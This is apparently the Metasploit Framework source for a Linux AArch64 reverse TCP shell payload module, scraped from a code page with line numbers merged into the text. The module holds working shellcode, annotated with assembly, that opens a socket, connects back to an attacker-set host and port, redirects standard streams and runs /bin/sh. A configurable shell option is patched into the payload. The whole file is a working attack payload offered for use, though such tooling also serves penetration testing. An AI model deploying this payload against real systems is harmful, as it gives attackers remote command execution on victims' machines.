Path: blob/master/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15278include Msf::Payload::Single9include Msf::Payload::Linux::Aarch64::Prepends10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'License' => MSF_LICENSE,19'Platform' => 'linux',20'Arch' => ARCH_AARCH64,21'Handler' => Msf::Handler::ReverseTcp,22'Session' => Msf::Sessions::CommandShellUnix,23'Payload' => {24'Offsets' =>25{26'LHOST' => [ 132, 'ADDR' ],27'LPORT' => [ 130, 'n' ]28},29'Payload' =>30[31# Generated from external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s320xd2800040, # mov x0, #0x2 // #2330xd2800021, # mov x1, #0x1 // #1340xd2800002, # mov x2, #0x0 // #0350xd28018c8, # mov x8, #0xc6 // #198360xd4000001, # svc #0x0370xaa0003e3, # mov x3, x0380x10000341, # adr x1, 80 <sockaddr>390xd2800202, # mov x2, #0x10 // #16400xd2801968, # mov x8, #0xcb // #203410xd4000001, # svc #0x0420x35000260, # cbnz w0, 74 <exit>430xaa0303e0, # mov x0, x3440xd2800002, # mov x2, #0x0 // #0450xd2800001, # mov x1, #0x0 // #0460xd2800308, # mov x8, #0x18 // #24470xd4000001, # svc #0x0480xd2800021, # mov x1, #0x1 // #1490xd2800308, # mov x8, #0x18 // #24500xd4000001, # svc #0x0510xd2800041, # mov x1, #0x2 // #2520xd2800308, # mov x8, #0x18 // #24530xd4000001, # svc #0x0540x10000180, # adr x0, 88 <shell>550xd2800002, # mov x2, #0x0 // #0560xf90003e0, # str x0, [sp]570xf90007e2, # str x2, [sp,#8]580x910003e1, # mov x1, sp590xd2801ba8, # mov x8, #0xdd // #221600xd4000001, # svc #0x0610xd2800000, # mov x0, #0x0 // #0620xd2800ba8, # mov x8, #0x5d // #93630xd4000001, # svc #0x0640x5c110002, # .word 0x5c110002650x0100007f, # .word 0x0100007f660x00000000, # .word 0x00000000 // shell670x00000000, # .word 0x00000000680x00000000, # .word 0x00000000690x00000000, # .word 0x0000000070].pack('V*')71}72)73)7475# Register command execution options76register_options(77[78OptString.new('SHELL', [ true, 'The shell to execute.', '/bin/sh' ]),79]80)81end8283def generate(_opts = {})84p = super8586sh = datastore['SHELL']87if sh.length >= 1688raise ArgumentError, 'The specified shell must be less than 16 bytes.'89end9091p[136, sh.length] = sh9293p94end95end969798